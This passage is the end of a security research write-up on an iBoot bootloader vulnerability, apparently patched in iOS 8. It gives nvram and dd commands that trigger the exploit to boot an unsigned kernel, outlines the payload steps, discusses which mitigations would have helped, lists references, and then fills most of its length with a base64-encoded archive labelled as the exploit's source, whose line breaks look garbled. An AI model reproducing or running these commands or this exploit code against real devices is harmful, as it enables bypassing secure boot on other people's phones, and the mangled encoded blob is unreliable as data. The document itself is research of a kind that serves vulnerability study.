    . nvram -d boot-ramdisk
    . reboot

A practical application of this bug would be to boot any unsigned
kernel.
Consider creating a 3rd partition and trigger the exploit from
there:
    . dd of=/dev/rdisk0s1s3 if=ramdiskG.dmg bs=512k count=1
    . nvram boot-partition=2
    . nvram boot-ramdisk="/a/b/c/d/e/f/g/h/i/j/k/l/m/disk.dmg"
Of course, the payload would need to be modified to:
    . move back SP
    . disable interrupts
    . apply desired patches, load kernel from partition 0, ignore
ramdisk
    . uncompress nettoyeur
    . quiesce the hardware
    . run nettoyeur
    . jump back to iBoot start point and let it re-run

-- 3 - Conclusions

Here ends our journey into this specific vulnerability and its
```

exploitation
method. It has been fixed in iOS 8, however, back at the time I found it
interesting because of the extremely hostile environment to mount an attack
for. Moreover, triggering it causes all hell break loose and sniping for a
way out was definitely fun. Last, but not least, there are some lessons to
be learned.

Mitigations that won't help against this exploit:
- Stack canaries do not help, because we are not overflowing a function
  stack in the traditional sense; we are overflowing the entire heap.
  ReadExtent will never return, and memalign's stack is not overflowed,
  instead a precise write is used to overwrite return address.
- Task scheduler checks did not help at all. Once we trigger the bug,
  there is no task_yield(), so those checks will never happen.
- W^X in iBoot would have made the exploit a little bit more convoluted
  but not of much help, as we could probably ROP the thing.

Mitigations that would have helped against this exploit:
- Unmapped guard pages between data and heap would have blocked this
  attack, because we can't skip them with small stack frames. Better
  yet, guard pages should have been set for each task.
- Hard-cutting recursion would have helped. That is, a check to limit
  recursion a la ResolvePathToCatalogEntry() -- or avoid it altogether.
  This is how Apple patched it in iOS 8.
- Heap randomisation and/or IASLR would have prevented exploitation.

-- 4 - References

[1] https://embeddedgurus.com/state-space/2014/02/are-we-shooting-ourselves-in-the-foot-with-stack-overflow/
[2] https://conference.hitb.org/hitbsecconf2013kul/materials/D2T1%20-%20Joshua%20'p0sixninja'%20Hill%20-%20SHAttered%20Dreams.pdf
[3] https://github.com/xerub/ios-kexec-utils
[4] https://www.theiphonewiki.com/wiki/InnsbruckTaos_11B554a_(iPhone3,1)
[5] https://en.wikipedia.org/wiki/Tarjan's_strongly_connected_components_algorithm
[6] https://github.com/xerub/idastuff/blob/master/tarjan.py
[7] https://en.wikipedia.org/wiki/HFS_Plus
[8] https://en.wikipedia.org/wiki/B-tree

[9] https://en.wikipedia.org/wiki/Extent_(file_systems)
[10] https://opensource.apple.com/tarballs/BootX/BootX-81.tar.gz
[11] https://www.theiphonewiki.com/wiki/GID_Key
[12] https://github.com/xerub/irecovery

-- 5 - Source code

begin-base64 644 iloader.tar.xz
/Td6WFoAAATm1rRGAgAhARwAAAAQz1jM/u//dF5dADSbCkH02DFI10th7U7qEX/
9+t2TcOGp9qNs
qs4MA0GDFEL4a2yChKnbAVxtRlo6QWOVOP2k3av/uHg6yYw6OwuZ3V/
pvkiACH1jkSwvWWkyhvYM
/UQEzBgH6qFl7NeBfgNgzxoJJL6vGkT+gC3bxB3oJ/
UBcZATHRR4Dp6rWfN3t5N0FRYh4Qljh4A9
J7VbFvpW7pu5MsVHz5J+CWrT1RgMp7sVkFaLGGGOfGycdpl7yIPf1XqF9E7S/659Wl/
oyHVWWTv9
8LC7CNvHZfPrJUgOglGaCdbmnge2BLt33xyW1F1/eBgq/
yjazmqVDCC2O6r0BxBbyohK1L+XUa8d
+4LffAr+k+FMNlhMTGyKxTe4AQmFbhghqa2e08LWt9zITn/iF9JJRXrT7w/
RRbwvkC5jtUC0B0FI
8xDOHhZxSp26IHBoTYHeG/
VayyirwjdyBttS3Epir2tUlUKj9zz6gSuBtgFvlVsvjCd036+wPhxD
JpfswIRBa5HyGX0G3mo6oMVYiV9JMyBzv7hImTFKIS5LwXOwiAUBEmTJ97IL9r9zBI4S
EwkoZq3N
2TQ0BF976h8oGSRNQTWqoSFiBB6tmhwAE0gp1c00S105SO6k3PlByFGAo9od93NrgnS1
fcINP5ye
N2mFehKkoSWKqypRVWMXhkp17eLNUn2pq8WNM7cbnvwhBPkJfNclbWd98OMHHB5ZMRV2
ZLEAkFWx
cb4lpsXwoy94rgp3fe/
PvvVAXiHuYNWFBSpz1X97aaqejJOsbKBU3igZtGgcRDyRMQdW2LzxWlhR
hwus3YOAbDEDcu1OlNX8j08F/kzuH8g93U9ZuzsZLkjh9koH/
dbos3sXgAU5S+hS6023B4acYtSA
7Ei8o4Xe/nALmhSqQ/VhkLgz6YxiO7aJPn+th+04ulFQUkAGI7GabWbByrl/
0WHVXVxyp9VIFlRu
/gz3eV2SMNGQeMg1g1T+bBHTnCkfRCJMHZxs01d7dTnNchNOwIY61kjnmk47p/
rNPmfZsFs3Oy3H
4hOQ8Cls4JWMsI66uTr1DpuQhb8OAkUNyybs9HsNkBFqUTDLdsupzYnf8R33n+
+ySRIymoQXmcEJ
ItUjY6mCJPHxpHuWWO49oO2vQVGx0I+jHtLliSyA1ZOfrNNHZAA3+WVziRGW1lEr5I5m
BT2SzZWU
hDl2MFpUOI3/eIgh2rQ6/qZNQqoYm7KPrJSibJaIizW3ERVDT/pWlCf/
gLt4GhfoWLxuDgrDqHhA
yC7FNxvBEb0yCDPyDTu47Womc//
701Z8hpgsKTTH9z4xItuR3U3sZVc+ZQfs+Ahgp4fabT7xK+DK
7W4EM+5uKYPl3EeAQoYptfOHx1/
LAJlUkJ9Sqk9Ng8e5fnoOSGOvuNS5sJgP5HZkboQ6zDHxNr7p
oVaJe1FT5RNMxZ9Z9yIlNWGO8La1pX/
kLAtDQTtpxKO4XGrvFXzhcQ23tw5eBWpeqSdHFg6SbyBo
apQHskFdYtnmowZbV+4Gj0TgmR+mSUt/Mz0JVvXQV4wRC6B7BCGyLBomSM5IlQQa/
AEf5VbV6ZA2
ikB3bSaRP0GR7KuKQEQ5xixHeQuvaoZQ5qYHmOBCy4Ho+xdHObC/
QXHP5mtP2sFIDFWhrrb0Gymm
oo1+At/XCnbQw/q8PHwXwkFS1Rg4XXcs/vRhPyEMf7/bHJv0sXqway9uLvOqq//
ogNxi3VLaJHkI

egxKP2nxfRGGGj00E9Sz1GQq6zULPo5lEiBQN3JcUfViZrij7at+eegCJGPEA85t7OEN
OLM/Nxlu
pNQIAREPa1kUMRa630KNEVDCCl1r/
UINwCepk88Gi88aTmE0Jtk3ONTS+pIiURMkAi7W/QfQO//O
Lqro+PqfHrOALcZJpSeaTNfiny9Iem4ih7OoYDjnppvC+wbZZYY9FoH0C9/2y4Q6cKfS
0Ru0jD8+
6hA8afEEoCwvEHgHsvFTrmANv7f9SUeQ+
+C5tdeO23kuDGmFj6yT4p9GtmCdC5Zp0igX+DevrqQF
MVyo58994lxdHN745xRTdvFcA+rX8Z16QIaJV8QJbDjXWXWO+xn7cC7YPK3lv+c9+CAM
RODzCmi7
H5l+4vH7LbA0ASlfLddEWeByJoCU69hJvYuADZjqvC/J/JVDigTV5VaJ3o/
idr6UhdZWTRYp+Bpr
D/
JqwLjkE9+XsrYkV0vGVQyOBr5vcl7i2m5EHim3IBb3AQKX+RGqy2yNQgIy17xcGlA8nK
muh+ax
CKRRYDg6Dwur1Es2RizWHjhmlzKigTEtBfkrHYL82lKgbVl7wZsnSzdl4pyF6ybaS2uz
9rcaagnQ
f4/lMIRVM6CJaGTSe/BHoOMQvoojYAP0VqDF+OfUKa25cy/
F5x9xAOYJotPyU7iqeli1glhTdMaI
W7cJW7WpHMwY3k6cQmb/
YIlPYaWA6ngoxR0iHnR057EJkYJYBOMUMiZHXAE5Cj3G9tLZy+0shRJ2
N2ouS3R4lFOwhN/
LUQLUUdDUyH3900EorIVvIklu1HyMNOuimRu00IsdimtGa74JcYAsD2FD/nPj
YC/UBfZD0uFkicF3r/Oueu8je4yrkH63xJuJFrbXfLVcab0y/
ksEIlcM+WvCQJaimAbOXWjL40qA
sAFQhMUn3DoobbA8F8FdjSNkp1jJwyO9N5KTrFN1vUB8lT0UAUoo0kMR3Z60IgTt06zW
vNQydZTO
X+GH4yOeHdwcWWscNRlrZSoAPOVxJROmWAYEGgzIzTogxbo8et07UDWekqnADL77LOJn
NXSDvRW6
/NclaFZ/juaIvfcHSzxhZETFucAcbVirhLwdNK/
TYZWzT2mWylVMqmkm+iUMDpfwHFHakekvaMr/
62gTvTVJSIdsHnO0Sr/
AcWsyMLAzjwPN60ik1WE6H6GBbd6EWWvOqtlWHqgzb7P193rmtc0jJ72Y
PuYzdhSGUkuogN156n5H5k8v4Ji/AX5sX1bio46C2IbSbXxldrLkk2iJnxWW6jZaP/
p9R9876Yv7
5YWYbYws4Moptso3wNvOmlngIyFx8lDqZaqdnebkoVfsLz/kXipok8QR/
c7UDmKJxz73Hbp3A7Rn
QEomcqT7SamD3TJb6kowRzKZsClpaPAx0UB/
YvTL93cXgZpoC+AVaqu45QUW4TysGz5tt4Hg0rBc
jDYw2o5cQSV+FyfWW4nXlZsScxI0p+y6jiQ9piv1IQsUxFn1D7n3qC1UiCguzclFk84R
N04hlFkM
rtdVxvs7rdS5URT2rtZ8qqn1zhIhHZgA4sK/0eSuroIBAu2tivbFsS0kgiT/b/
7rPdBgydBimyH7
0fEyuNGnncz2hwA73btb8C5oFBUGAYwWgVXRnkf1s3mAP/CBCHFao6nExqbKnYkEAhp/
e5iiJiNd
7iHZctgp13qGaRTbnzuFoWFVyzYXZuL7BVmqKqyD7b1ftrTbFCJZckCVTVElngYgaW1f
eSkZhuS3
beFMawnScFCxY43u9ECvpTBFsYCLbQh7ekvqYHcYY13u+ClzlrtxvPAwvWYq2rIRE3xJ
KwrSj50S
LCKv591WKVYkU7tWMPPHsa3zMGYmcT0tAAeicMKyEyELRi4c/GLEvhXOEDZo01aiY/
ehnAnwg2jb
fgVV8mgL3jO0rHtRJUNWiPEa1eJKndMsmHAVLL3JRP9VtzNqladnGLwT3Akd4KI3EpDC
TFWThdIQ
LdsHaubJSWiOvN2+8VyMAUaRUjCz/

pPvcpI867GAa43r9WNEwrSaThoGX8GTxRisa3KuP+RbRgFo
DiNSuO+h1ICA4RufIsXY+1x1YoGbzK/MRG6v2RpLUZHA7sM7x8olpc4n1+eVKC/
NzPt+koUb8uQk
a9trjnDzNbiaFETBqtY+hqDyCFQEtcilfJ22DZk9Kn/
qz67Mpxi+lKGv0Gauog0x3IvDAXC67Ff9
PNeahg8c7iT7rTUq+c++g7czwrTn28X+DDZe/
hHTjn2fHYdJ4m4HcBlGV7NjhaYzJjBNx+4NDydU
Ywb1fU/
73N8cknnDJ8kYaiNqlndJplux4v76ZazW0JnPF79bOjNg9AKn+2C408+Cwta8+NLaHVZ
n
x/
dfYgrKb3v3MIld8M1rsXIJLhSj2r8CvTrhV5nYy0LoCEDS2jWmpx0aPankE2qohCz8xh
qgzuH/
AY1vZoKHqG3qs17suTuc8iTK54d3iC0OEDiNwoRQNE2CB5pLJvF2xESYAU03an7sBmK0
VoJh/NpZ
wllBHPqNL+o3VUNx7AgajlM4h+8lshA/
AcarJZ9gpn0pA7Xm2T64SI42rQpJopMoF4ydGoJmL0cb
GpFOd3tc229HJW8S5HQOd+P9uvETSVycV/
k83EqFwkIMh4YqjM2ZQS7ELOypxk9D80abDGTbYCTq
UxVpeyGkGFbyDHLAD9kWE3fFLzv0tb6LAbmg4I422djL7yx69iUnoIKE3G9sVk8MrEx6
eKbCSieW
PHFGPvS1ejPWXIDJokthLv6dpXry44h2JGZFbbNRz0qVJca8MIvh+/
b14uEe99G0+Z6pWoLB9aRD
ANmwLHzoCASE4fDK70NaXnY/
SvCvj12Zmkyzl8UgmqUT2cRkREskI0Mj+23j+Etunfs7yF/GSUeB
pYXH+9IkSiwUTdTbR11/ztZeS7Ot6qOh5dnEstHtohPSAUBfB57z24iBU26/
lTQIKPOlAxrp441j
EczUNz+wtYuxPxDnGmFghZsOU9wXs2oo+y2sT/
PmZJ+tZ7PJmgfUQHjyd047ufrbY+vyvzPm5kfL
1EJZXtvKSZbwFlz6H7PezPwdkngGzEiiUaamwquk7BHyRGXNGNKlZxdVJX2BfFSxAElJ
CyFXlBnr
iE2vzRh3xAD5ZCADodK6cczGSHz6xMZBH95lOR5oG1iXl8DdnSO9y0YuE8rh43juAAht
Iw+lAafe
7QolHpKomNMH5zPsW4rzBgLHlPx/
L4zaOn7LNEeBqVaINVcBRblMkb+7B+SVM3+Yu3XdmGOC+BVl
tDD73LjzUVbbENGR6RE9NNu6efNTb6Wnkc8qGzRAizv33Rn84fuSRjnSUyv0Cvxl0wP8
xUurNalq
Z0eAcB4x7RRhEx3594jI3BSUvf4ECmegxWdU7Wm2thHO3Xy4eFPyomFEncdnISNtgKet
+0L0mLKu
MbRmjgzc4IXG+qroBPDAQcbr6KJ176Kjnw258hDyc4fDb8A2aOhJ4wtJuT8kFQLa2yRI
LSGa4z7Q
YTjQ/C1abaiQ9/tmHnXQ9FMx9xYxXkfSqKwoCt8N5MDoLORa9FirGM+3c5YMNgj/
qUnV1FhuzNPn
Cobz+ilrwBaOl8u1qF2xkTlp+olBkU1gRTaFrEYc/
0zbhrXdGgilbqeixQ5jlE89qYC08i50RXKV
tz6DQcr27UX/
rNWjToYY6SKbpowvBEZbQVRPcqh8Y3w8qKNPn5gjtJPyGrN0TUMRGUFg+eP4yu2R
Zl/FXNxjQh/7V6QC/
F0eI4PI6As0TFvQpMPljEb9k8Ed5yp5cqApmWpxmNicgOLirHu3gVhwboa1
zlY29+y/
Q3VhzIW2LmSklyc75RyPgyojiJLRmKzHUOvoAayIvYZcAhBwK0KpILCv7VhN/kn7i0Dw
z7HPkmK4m0ITzbw/FAqrXW/R5Or6DezJ/
c0QXwrOnoewd23OL2Ea0yNsPeiy4p+T9ob8c4MZuXnX
t4dlm5emi/763T1cnz/4o1rZ1PEHiFfSub77SwgxKhEDPcdbhJ2lHip6YOlpEr/

HNDk9Rrgim6sz
Pqenf50rb3VhKy/
X722mP7Z0bEIE1rpCJbUewPzuDP0dyyMifmfgvfcHQbbhw1LQ4RopE1DCErv8
WNl8I/
fPuROp9YrP0Kx0uYSNbJsjB75dWN3BAvhsIhlDI6GjubnEt7khJOEyu1f+uf3v84h3z4
jF
xUrffEk8IIpbgyJ5wtt3F5vFGJH/
Fu06VCVynVPdRtLce1t5NvaFIDaL+xib79beOf4QgblSu0W3
HYxlZCG8y/
M31ThnD0OckQ4emAictkTlQ9FxRyj3Clg66htUqEWQHwny6vdCUAB+PTwlsurvoo58
xLmLDhdd65gy+9o6MNhgJIXO/b/
2AtXisIdHQJb8vJClLkdsA+3zxijqK5c9VzpsAwrL4cIxU/Qu
cQdmTrYT0xqhH5gqx9y0eCq9vhFIGfsSS6bzl6oLL+C4YxFYsslh3aLPjpXC/M6I5/
ywZ83uTc2f
Nhcx5U5tiKwFNH4ve7ihpnapPInvLwc8sxYpwV41Qy4pNk3kM0G+eonyskRfpYTjxylX
R16Mb4cA
E5FGU+pDYRcJB/35HVZVkwQBuBH9y/HvWrNfXm8ZZ8BMzM3B2/
KfNWs+Dh9GenrVPxDO84B8pVP8
RJlgSu5rSEu7DaR4dSaRioetKm9qL0gg6vmB1akvrOp5EtsMywWuMzZYSM63eXubp+BN
fO98ab2E
esPii07hQkSxaO9xWITiq7XtvoRvnF66F3JbBw1LVGzW/
hsp5beiTBoWkpujPyAaIDXcTT0NXAHL
8rbVitZ0beiA8WgLRQSzqN8Lk9Cm+8A7s9M0WuN3Kbj56xPpVHAiOjhBRRnQh64oG/
28RQVRFraD
dhKsREca1xc312kRy5Sfvly4e8ZYr0pKTbh9Zkzz223Mrtr1PqtWMn15yeIEJU4c63aM
Z69x2FXi
R/
5FaVfHleZm8HIZcwUzjx61Os52k9vQIxJ2qfpGm75kPrJwj3kUUancphSmyUlEtFKHtS
D/EX83
K7rueWig/XdtJHl68TJ3hkSZwJ5qVBzhx4bteSE9u2RlpzHQn18OR/
yqClB3vC3zPW5q0uqMnIp8
uHtuEqUjnHx3ah1LcEqdbWcmomAGFMJhGm4AS8SFjvwKPMWdFcBaI5bI0bKVdJ7nUXhq
Py1JZcRI
ydKCkpGUm71pP/
UU6nzfRe8QYVqx4ZzkfUk5R71TNOStWssHh+S2pIWgAtnc8hYjF8jvFqlrr4St
SCT/Lv0/xFk/8DWMksIp3v7F8LRrP3OMCf2CS51oWbNdH9mKVa8ly8OVrHl7gB/
Rae3pGh2vyoeE
Z80EXiTecTu4MrS9gR/WjkuE9BjC5UpYGOW8UaxoK/
MUAHxVNDyUJ3p2Lrf5RLZg7aZw3k5edyia
CphUbteLyog/XyBmXp/
YARVOQe5PnPt8zYqzvZLaVsnMvdnm9FTi96WUWigkhxwgS3xiWpAB4zl2
yG+/oHg5274Ao8PV68FMd/ZprOlHlxuklQ9siT3F7xo3YiBWi0i1WXR0pbWT/
7xPdHbogEmZPleF
du+c+Us48YoF02ckBi5c0ztUDJXU2ItOslkHZqHzPDTHdzfIY0WlMPeDZVXyNGmXaOFV
8uFM4kf/
smHFzEYjwtrRRoUbetVykW8/BjFQC99kq7x8VdK7tVBbIPV1ERHZw/cI/
gz1B5ewsBHkOzeABcd2
+Dzg4bVREvUAvDdhJ1Ef5Arekdlg9IlZLsW0va0JkFf5IKzRwb9gank4wkgl3Q3C7VnG
NyUpNiaF
ppySIpABCxqli6Ft8tIFQhFNPeRoMT6X2mL3W3Mv2lwlvsH7n0i36XAOI45yVrjWMZto
2DjFbZKm
7vzwtZ+A4EW9GJrFVxMvhOnmZk5EUiZQRKQH23+eNKDhMDQQSXYWT4CcbHImdCKlx7+9
tKA3HIsO
tG+2iyrm0tjSYRzarMucNpPRwYprR+DRUxF4p6fqTy1Aa8Sb6AdOoGgEy94YygXSQs+h

TEA7zGAm
zG6wdBTB6V//Qx/gKcpf0o0bq7r8Vcn7/
xVlZEt3M8UeIt4EjD9psLGHH2pim9trVGJRN/XU0SEv
eOhE8yd6OOPMa25HmudNv/ue/
nCqFG+8eSG1qDOPYoR9WlFiknRJXMRtspLnoMjOBwTun96lQsuI
P1wAj9BOryYolHEfPY34GSADXAQ4FMs0NYsrhT2nROMNMBHbp2iQe98DHKUomsyqXLye
MoV+R3BR
S48kRp95d1yZ+NEXq73V5xdS54uU2p7aJPK5dAHWxwGoT0OjXFHzTse6INdNtcf9fPy9
ryedduSU
ctGWvzlqzocaC4IQ+OQ493/
kWeYJxCIJXEELIaUGhUNhrNA2PvIrOY604UGJOgmu7bdIjZuRDg46
rpzIghZGpqiNRZvV1GPV5oS1DVCUEGcFI0s+1Y9A99L7vAKgRiCBM/
54zNcAdBRIrZBTLAnUFLod
kRgvlhOmIGnuy8eDSy17P7u+5lQBhSgb6r+aCa3Zb8vB6lIRSLKO1dpGgAWiO+Y6hBOr
53n9CEaA
+K7nUNICEZapAe/YpcwfEn18W11+wXQZG/lkPYp/
E5VBtLvSXnrmulqiZ4svvp3f6JKygvj6InuT
TYf4eiHkPvYDGrvwZvK/Z7heqgm1jYa7Am/rikz1q8VlWS5ctCX0aO2l/vtii/
TRgi6RmUPQkMU3
7h8B97VNqUn1FTRCLpMKcFViZVe4LMmQJ2CPGKmdLjeAiGwc+0XKXUknxXBFJ6I0tPQB
3gAEwI1y
PbUIwiV3ybP1H9l7CafYT/2SLP/b+HvHDTl7q/
3kUYpWI33kWfF6ynkBYQYaI03GjLRkn4cE3W3s
O8TDaddqbAf3QCW+5wTtBTEg/A/
p+0SUHJtOi2RUG6NudX4ZLa+iZDzz4pCtGWJz2PXPWmxkiJ7j
w/20ih/
95X88HqvaqLYhv8swCme8wa10/8IrAh+ouWFi9MjPaDQOuKibZdywjUS9VPKRuJePhGy
o
BS6Kr4dJdO2F/
dLpqduffxUKXwW2veRLFxxhCNC+JLF8rsRxVWE0bOUxhwWEXwdJtBVa/ycI4ODV
gEq8F723kBRKlofjyk9Z+UolDpHZKbETsb2u32EQPivmcR6N1v9fRxtilKyWXQoFdr5E
I7AsSJBU
HQpHOFWSDmZi+Cw8tOynvGFh7hIXR/+spxklDEclPInmy7sJ3NF0Pav+
+NuAoyi4kx6LnPGnq3X5
bPIJq1TXhk0c8NDgAmO+KpQoaPz9tm4tTohgHIepPRZbB/
04nBDNNT88n7HV0H2Dp2oRvyyboK09
McDLkGOgCt5xvEDENJP70NIM8KQd/
s8Kfx0fnsZCu+68GXrfSJUNLCsM+yjuwFaUio7Dk2UT7Y6K
XM+f4650G674kn69W5ME392pxeJawel+w8cAmPJj+BBAToJ2nhRMFrSpg0yWCRS6IQCA
lYSu9hvB
S/lKT0BSHQMkklXBVt1RW+ZqyNO0kFs3fFyJ3+JZIbdnGgMMFmbFRjxacoC/
n3Wd5gPo0L4KvhLQ
eT+xmeY5AK7NETW2mUcdFd7lWpg9+uwOIiRs74JFxSapfGjtOPXPCb5M9lmx66alI2Y2
X7xXNRmj
/hCzUikPQDpCxPrKt3V6CoqIN33DzyhJUeG+blFfElsJVySmRFqX1pnmqxMfO/
qI9Ax5k8On9DLA
S7kg0+dDHbTpdahO5ApgMe36VoZqtU2KZ9eqfWpSQTMHBWBlT0+KP+EEVgtrP2yQA3wy
dwnmDWFj
b4RtCXnMjdDkIr340Vk+F75IP5GWknndcyua/
bIOGZ0ZczlrU3CxRo2bZyJThrSpedEXuACLqiBx
LI6Rmwisc+BN8XJHcmivPbBHYf2ms6yKkkLUwrLVoYsGRN8dEQqkWCCJYFKVMESMNeQd
1PxIVf9I
QM2Tp1LTrZbXv55MB9x4YmO2pCItROM0vsQbkiW8kPu5ld+Jl6gCFeN+dlbghUFpmm8M
BTh/hLIN

rV9xLrMzMsOfCiaw8Sn8mRj4LJcwTnacZEgBhyR4Q5GQWYw+WkRVvzWOt+e0gi5HyjbB
qb8iDjIv
/anue6D8FL824ICX+XNAjIldCrM/
KRRCI6NMmHcTRrhsvd+3AidF8Er4hTnTA51A9uc62eB2VQ/n
udTMtL59rt2u7AZN3ogLQ600f0dRAPWRzFYY+ONZsyM/
BPmTAO7twIISbpCn2kLbbcBTOl0uue8v
h2JY144ZH2GBZSJTaPEw4I75XldAsuo1SyFkGUh3DfgnYMtVov3yVyIcVmcly9MRiDNX
+jHdEam0
pSqr6FRSvOGCd7meF6bLQ3XM1WUFVoaFnnaoR1m8HkIWuEXzAFqMtZ413zHMCOPFHJjg
ytMX6GtF
V2xwRm5bDiF+IQ0D/
seo5hUz2eKmuVtapwrKTGyTKkHCt7gNEYGkgM8pV06PbEBVLXQyItXfrNio
EGyXsFf0FEPcp3+h1Fktrc2JWwA4gYmIOI6iFEw0doJ7URvgWvqKu9wr0koZkq7RjtlV
iV3DnvbC
2gQYIbtA6c0jCZ0PHkNy0+GM/ruXabkP3OGzfpavvTCBIp8Jxyp9uHriZlEAJWy2tv/
bP+e0v3Ry
UQxG2rIj8Ff7ilNrezP4PIr+3sDZeyIPBKWTFMx4EaacjX0nZrl+IGfUhRTjwH9SSC/
M6IAL+afI
vrI84FKxbolr7r/
8SbIeNOqVV629LlIZcOoV8jO7oa1gZgrr5aJtWkYq9vdzVPWMwtgmspSI8sVT
mKb+201majLGpILRJlFyg4ou2ODFSsFDsIrsSOa1mQ2Kc+Ae4gNrPC6jn43CdvM6jEcN
HO5S+4gy
1ooo5i2F9pONF5mywtiIewS5XOIr3zZud7uDI+7ZsmeWzNjaEikUxaTvx2Dk3IXu33YI
geyI+/pr
LCPaSEcfDGdWdpS5nj6mGQYqCtFZcttQfBy/
mAHp5HHBikNUODWjMkyNqAOMLp6kUgDBd9Q5D0im
goB2InSYyh+WT2cbva9Q1/
b65lk37ESx5MVg3VhNTqUVQb1XcnC54DEaAqSqXrC4U1ru+gqDTePy
vt/9fDeX9+zSyxTPp5bV5YEB3y5xSa/ex/Js7zQ4cCyDaePt8/8MqHHsOWtK/
PiiM8+JaTi3xU4V
9K6yQlU5CWloIjyAMwa5K7P9+ZRjgJZLUlxOBpQeWI8G1o7ve1X+Q3/8TEuJkmPan8AG
qf1l+KXN
WRMVSW1Wk9eab9or3oUwbyQbcwjIuWsGCXrFf7HXH7RA3CUA7Vds0+BSothGCs4+qOcw
m7KhISl6
skhZsZJ6UH/
VikhgZnAWajdBNkQK2NzNB4eR1oFrioUmJsLwSYnS5i6oRlBRsFzwuOy4hCKzx8/k
qd3ePOSFVQxa46pNGZNwsj0IyDr5g4f2E92F6eYIK4RG8VL0qd9mWiJibHY2Fk1Fo2yr
A3bS9KVd
WgjyWvplCytrdOt2Vcqh3Vx9gWC6GueW8KqkaTd2i5Jo3qp9XF4Jk5/
UetVxM7Iv0+qIOhFYL5gc
Z33oTB6hjcZj3ZUADLjiu9bikVbApICb74FxaWnLFhMsQp1Hxy8rEBZm/
mF2cYUEZd4Z0gp4lqtR
3ra5aZh445F/
fbigxXDTPpLbzlvbgQZcrpPaIYmqIKrxk9oAH6DrjTHaaG24oQurqNFkgMX64rhM
1wXd1PXCAZ7La/
2+4Zs6V25DhtNHv0Po7n95v7ZThVZxf7ANWHL9ESdtUVFmlCgvXUurfva0vcQc
nfekR0IF/6pn5DNC69x0nLLYT/
MEwNLN9vXlWFXMYGZZBXBgRGC9AcYtN2hgR6hfgxzHUpDxGfxr
LpEQRjAJr4Otl8FSxcCsLwCOPvi8QATZ5u0NXRqr7k1hx8NN1u3uHCUBaxSSuYL1Ac13
35owpRTf
UBQ46HgRMLRjuiobUyAwPhj4L5J5zQ+3Bb+VpLkU9tPvSaacZFJb0RktCFqHJ4QlvAxp
4iPP5wkP
JM0lSF2HF+B6RS5Me8EGa0TXjAgOlRtUn21Aeq+vVZftm7fi5ZTlbk9HiN3aZ06i8WWV
PSFB42k6

BNs5z7DE0iqVpxYSrpYWKh1rW5bKW1rAdvD+RZn1BZ9y/
XPaaMJ31l9nzI6u4IusypLASchgNtOt
smQ1DiE6JiAZcEVm+rjkfirQ6b6aEiavzP9pp2FA5RfbrzUhA8XVAuObUT6O4LrlCsc8
YNwoQarc
4DSYL37WqbPH8+SuoaNkuNubRM5Lnve5ctqupkRmqsRpBTbY/
4Z9Nlv7BH+Brpiz9r5JsmHWa5AB
Btpy/Q2TkZL84UcTtErlVXcud9eZysC27mkblbKrw/
eV5IiPFKMZyt2Z8IL4MTmlTOvIpCjxF3Ou
L0H2aIz8WOnNMz7DpJ7aVoG9GNz8ZZYDRq8FB8UMQzX11i4ctZwM9e7R+1qaA7FIgzCq
S1nCOkPj
nz+z1aVzcoEwfhmsTPb0I8mDnOwYkhM9fOmJKrCF870/
ndxBjTsxxb8u37UIs2oVgh5mGUiX3xdt
wRCaNZOBHHkM/
p9ca0yHkkATEH+amboPnIuGCfGtrasCd9ezwL3Im09ZiUDg856NuOOhOcny0a14
4LWQrQrbucP0h2etRuGJX6jJz0tyq3fgaufLKFzD64OTQv5U5HB8jjdvWW/
8DT7dlqLMNm+jOeZl
C0GDZP4YKKkLYeTuuEA3I/
RGq+XPSd7hVs37jTI9UoLkoCrM4lobSv+3rKu1Mb43NViFG9ZoDNT3
De3adYolXVyyzsfnQcwuU2KI4K7CMHdiZsdow1Z7uEnAj4FNE0TGY7M0ZlCVh49E7pdc
0xYtQVaZ
o6Vah6uRYgjkzf8hI+1uSSEIwE+JXfDZDzsI3h7fvHNq/
c9Hx+R4w8Vn2OcXCYodIOWndOzvYZvF
RkBn2ky430LvIkEK+VpBvsNy6aQk7n9mtevbG8h6Fd93FaksFVStXBPyfvnrt7gD38CE
rYsZ7J5H
H3+LD8a79k3SLCAnX/poMc1WWQRwGd1d8GGsebEC/
9TrERCyc1HbWqUJUDrgpeq9Rn49ICVYkwtQ
MTkHw0oI7tNcc0nkCemA3ZOLvSZoUn8fTQthpQjv6XCAXHD0eO1Sh+29duXuguaRL4jC
//ZS+CEq
2XI0t72Q1TULZajqjgFNPZuxUypOLrm8P4M06uaKIx7F6aT+ogL1cab73L0D181X52+
+6VWSTZQE
zHlryelm/
a5mn11zdGyjJtIgowc9s7AMr6qsZng+EwbBnXw6vz1Vphw+1OZEvntEHtI+EbFjv0Jo
8YXzdJSj4aXttHYmWrPkeDcuOzAlkxySQVKNJrHhHBO3XpxzM2wl7Au3ktwvczcA54Wb
mDuMuL13
ongVMElq/
5WKWyG3T+qHzfzieEHQNwBvrHlDlS+ke0QJOitFP7026fKACc5bB9ajDPfkGc3SbCOn
NYOysg75x9ysw5ok4uYjUSdaxAIMQ3U31zJT8wZ8VlmDxyjoXceh5xlrXR/
9ttk3lzUZCLTq0+mz
SgptapkwpFEYnObIwFx2kg4P4mvzbzXlPIDUdzCFmyaIVRaE3zg6164fYU7dZ30IR0TW
VMM83hzq
K2g0x1sioIhkM2qN9NpJ7CpnyBf90xNz1xDsQ7fmlA6IY0ajSEb9GzcH5OhANEMN+mco
tpb+Kvcc
R0PxkCtsamJIB4KCSf8DbJ8VM7Iwj3V1C08Xyuf2hchvTT2aBLCblmploNqhL6ufLvuX
7gshg574
X7plgHoB3DdgeNSVhFrMIffHyirBv+9sz2G3bR9GCxph6IDCf4lzYdVTuUgJW+BqIxA4
xfqlilcW
5LjfHGFY+GMf/
WVyljwEEDBSj0RYfXVPyEVUtwoIuoIMKvcGFfMnNMG7LWhJku16ftRTlDcSHU6I
vXSHyekrZhxD2Tj2Kam3ZNELKIx/92PwD/
VCyO7NUSl126L6SfAYuHTrbsjymLUQhifAIoAZzlPy
nSp6dwMXphoYVrSuPU0OjBhM/nFkPSTS/
p1BePQqh2kSqraB9TQ8b+g+zd+oVLZ1H0uREDDRcCjA
KDyjG/mc3UnQvLgm9A/
g78SJwaPjFjgrkyRYLSfjd8H56iOkN+ES2Z+HsZx9xd4DLTg+VjswdobM

bjWUG50/
vw126VS0I+BvVo+XHPgoBcbw4FNa2H4hDoZkLOdTPnZNxtICroTLSsdGVwIWQvEHjMaB
bv7/
c47CP8BHgJLId0u7mLoejlmoTPhvZa3lv96LnRARMFYkhsBEevNNdeSlOmz2ggUcIjHu
xEEw
